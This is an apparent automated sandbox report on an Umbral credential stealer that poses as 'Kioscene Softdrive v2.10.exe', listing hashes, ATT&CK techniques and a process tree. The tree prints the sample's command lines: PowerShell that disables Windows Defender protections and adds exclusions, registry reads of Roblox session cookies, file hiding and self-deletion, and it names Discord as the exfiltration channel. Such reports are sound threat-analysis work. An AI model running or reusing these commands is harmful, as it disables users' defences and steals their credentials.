umbral | dfaadfbf1693ea477fde1a960b20280daa82e35128f537a62859bc5aeff9a948

Analysis

max time kernel
15s
max time network
17s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
02-08-2024 15:23

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General

Target

Kioscene Softdrive v2.10.exe
Size

229KB
MD5

18dff45f8e9eb29b0fb13e341bdd8dfc
SHA1

768114e6ed8a6dab7eec0e677d53430c37e5393e
SHA256

dfaadfbf1693ea477fde1a960b20280daa82e35128f537a62859bc5aeff9a948
SHA512

ace88964c82470394bd18f6b1ca16fecdf3394b0900f0b375dc358bd8577828e7041c35d9bb790b9d91b062df9167963221f6c7ab62740c6f5ae1e9861c5f223
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD44lU3HdmOhOU9va6v1Nb8e1mpi:noZtL+EP84lU3HdmOhOU9va6vXj

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1600-1-0x0000000001270000-0x00000000012B0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe
2016	powershell.exe
2928	powershell.exe
2792	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Kioscene Softdrive v2.10.exe

Deletes itself 1 IoCs

pid	Process
2404	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2404	cmd.exe
2644	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2992	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2644	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1600	Kioscene Softdrive v2.10.exe
2764	powershell.exe
2016	powershell.exe
2928	powershell.exe
1576	powershell.exe
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	Kioscene Softdrive v2.10.exe
Token: SeIncreaseQuotaPrivilege	2116	wmic.exe
Token: SeSecurityPrivilege	2116	wmic.exe
Token: SeTakeOwnershipPrivilege	2116	wmic.exe
Token: SeLoadDriverPrivilege	2116	wmic.exe
Token: SeSystemProfilePrivilege	2116	wmic.exe
Token: SeSystemtimePrivilege	2116	wmic.exe
Token: SeProfSingleProcessPrivilege	2116	wmic.exe
Token: SeIncBasePriorityPrivilege	2116	wmic.exe
Token: SeCreatePagefilePrivilege	2116	wmic.exe
Token: SeBackupPrivilege	2116	wmic.exe
Token: SeRestorePrivilege	2116	wmic.exe
Token: SeShutdownPrivilege	2116	wmic.exe
Token: SeDebugPrivilege	2116	wmic.exe
Token: SeSystemEnvironmentPrivilege	2116	wmic.exe
Token: SeRemoteShutdownPrivilege	2116	wmic.exe
Token: SeUndockPrivilege	2116	wmic.exe
Token: SeManageVolumePrivilege	2116	wmic.exe
Token: 33	2116	wmic.exe
Token: 34	2116	wmic.exe
Token: 35	2116	wmic.exe
Token: SeIncreaseQuotaPrivilege	2116	wmic.exe
Token: SeSecurityPrivilege	2116	wmic.exe
Token: SeTakeOwnershipPrivilege	2116	wmic.exe
Token: SeLoadDriverPrivilege	2116	wmic.exe
Token: SeSystemProfilePrivilege	2116	wmic.exe
Token: SeSystemtimePrivilege	2116	wmic.exe
Token: SeProfSingleProcessPrivilege	2116	wmic.exe
Token: SeIncBasePriorityPrivilege	2116	wmic.exe
Token: SeCreatePagefilePrivilege	2116	wmic.exe
Token: SeBackupPrivilege	2116	wmic.exe
Token: SeRestorePrivilege	2116	wmic.exe
Token: SeShutdownPrivilege	2116	wmic.exe
Token: SeDebugPrivilege	2116	wmic.exe
Token: SeSystemEnvironmentPrivilege	2116	wmic.exe
Token: SeRemoteShutdownPrivilege	2116	wmic.exe
Token: SeUndockPrivilege	2116	wmic.exe
Token: SeManageVolumePrivilege	2116	wmic.exe
Token: 33	2116	wmic.exe
Token: 34	2116	wmic.exe
Token: 35	2116	wmic.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	2028	wmic.exe
Token: SeSecurityPrivilege	2028	wmic.exe
Token: SeTakeOwnershipPrivilege	2028	wmic.exe
Token: SeLoadDriverPrivilege	2028	wmic.exe
Token: SeSystemProfilePrivilege	2028	wmic.exe
Token: SeSystemtimePrivilege	2028	wmic.exe
Token: SeProfSingleProcessPrivilege	2028	wmic.exe
Token: SeIncBasePriorityPrivilege	2028	wmic.exe
Token: SeCreatePagefilePrivilege	2028	wmic.exe
Token: SeBackupPrivilege	2028	wmic.exe
Token: SeRestorePrivilege	2028	wmic.exe
Token: SeShutdownPrivilege	2028	wmic.exe
Token: SeDebugPrivilege	2028	wmic.exe
Token: SeSystemEnvironmentPrivilege	2028	wmic.exe
Token: SeRemoteShutdownPrivilege	2028	wmic.exe
Token: SeUndockPrivilege	2028	wmic.exe
Token: SeManageVolumePrivilege	2028	wmic.exe
Token: 33	2028	wmic.exe
Token: 34	2028	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 2116	1600	Kioscene Softdrive v2.10.exe	31
PID 1600 wrote to memory of 2116	1600	Kioscene Softdrive v2.10.exe	31
PID 1600 wrote to memory of 2116	1600	Kioscene Softdrive v2.10.exe	31
PID 1600 wrote to memory of 2184	1600	Kioscene Softdrive v2.10.exe	34
PID 1600 wrote to memory of 2184	1600	Kioscene Softdrive v2.10.exe	34
PID 1600 wrote to memory of 2184	1600	Kioscene Softdrive v2.10.exe	34
PID 1600 wrote to memory of 2764	1600	Kioscene Softdrive v2.10.exe	36
PID 1600 wrote to memory of 2764	1600	Kioscene Softdrive v2.10.exe	36
PID 1600 wrote to memory of 2764	1600	Kioscene Softdrive v2.10.exe	36
PID 1600 wrote to memory of 2016	1600	Kioscene Softdrive v2.10.exe	38
PID 1600 wrote to memory of 2016	1600	Kioscene Softdrive v2.10.exe	38
PID 1600 wrote to memory of 2016	1600	Kioscene Softdrive v2.10.exe	38
PID 1600 wrote to memory of 2928	1600	Kioscene Softdrive v2.10.exe	40
PID 1600 wrote to memory of 2928	1600	Kioscene Softdrive v2.10.exe	40
PID 1600 wrote to memory of 2928	1600	Kioscene Softdrive v2.10.exe	40
PID 1600 wrote to memory of 1576	1600	Kioscene Softdrive v2.10.exe	42
PID 1600 wrote to memory of 1576	1600	Kioscene Softdrive v2.10.exe	42
PID 1600 wrote to memory of 1576	1600	Kioscene Softdrive v2.10.exe	42
PID 1600 wrote to memory of 2028	1600	Kioscene Softdrive v2.10.exe	44
PID 1600 wrote to memory of 2028	1600	Kioscene Softdrive v2.10.exe	44
PID 1600 wrote to memory of 2028	1600	Kioscene Softdrive v2.10.exe	44
PID 1600 wrote to memory of 844	1600	Kioscene Softdrive v2.10.exe	46
PID 1600 wrote to memory of 844	1600	Kioscene Softdrive v2.10.exe	46
PID 1600 wrote to memory of 844	1600	Kioscene Softdrive v2.10.exe	46
PID 1600 wrote to memory of 1164	1600	Kioscene Softdrive v2.10.exe	48
PID 1600 wrote to memory of 1164	1600	Kioscene Softdrive v2.10.exe	48
PID 1600 wrote to memory of 1164	1600	Kioscene Softdrive v2.10.exe	48
PID 1600 wrote to memory of 2792	1600	Kioscene Softdrive v2.10.exe	50
PID 1600 wrote to memory of 2792	1600	Kioscene Softdrive v2.10.exe	50
PID 1600 wrote to memory of 2792	1600	Kioscene Softdrive v2.10.exe	50
PID 1600 wrote to memory of 2992	1600	Kioscene Softdrive v2.10.exe	52
PID 1600 wrote to memory of 2992	1600	Kioscene Softdrive v2.10.exe	52
PID 1600 wrote to memory of 2992	1600	Kioscene Softdrive v2.10.exe	52
PID 1600 wrote to memory of 2404	1600	Kioscene Softdrive v2.10.exe	54
PID 1600 wrote to memory of 2404	1600	Kioscene Softdrive v2.10.exe	54
PID 1600 wrote to memory of 2404	1600	Kioscene Softdrive v2.10.exe	54
PID 2404 wrote to memory of 2644	2404	cmd.exe	56
PID 2404 wrote to memory of 2644	2404	cmd.exe	56
PID 2404 wrote to memory of 2644	2404	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2184	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Kioscene Softdrive v2.10.exe
"C:\Users\Admin\AppData\Local\Temp\Kioscene Softdrive v2.10.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2116
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Kioscene Softdrive v2.10.exe"
  2⤵
  - Views/modifies file attributes
  PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Kioscene Softdrive v2.10.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2028
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:844
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2792
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2992
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Kioscene Softdrive v2.10.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c590bf616d5a1e677aa34fb6625416b6

SHA1
eac9681600e9e0d15014e13416a71bb7ae466dc7

SHA256
05c903c50d4ebd9befd840d3e8bc360e31ecd0dc86d317be3cf04b1fa95cd440

SHA512
be505e14c06b16e6b2b831a0f2eee076644b39dbef6e73fe9e570f262af6397678746f6aaf32b44b1ff3035587946539a7efbca196b141ad14da82876a385e16

Download Submit
memory/1600-0-0x000007FEF6033000-0x000007FEF6034000-memory.dmp

Filesize
4KB

Download
memory/1600-1-0x0000000001270000-0x00000000012B0000-memory.dmp

Filesize
256KB

Download
memory/1600-2-0x000007FEF6030000-0x000007FEF6A1C000-memory.dmp

Filesize
9.9MB

Download
memory/1600-47-0x000007FEF6030000-0x000007FEF6A1C000-memory.dmp

Filesize
9.9MB

Download
memory/2016-14-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2016-15-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2764-7-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2764-8-0x0000000002620000-0x0000000002628000-memory.dmp

Filesize
32KB

Download
memory/2792-43-0x0000000001C20000-0x0000000001C28000-memory.dmp

Filesize
32KB

Download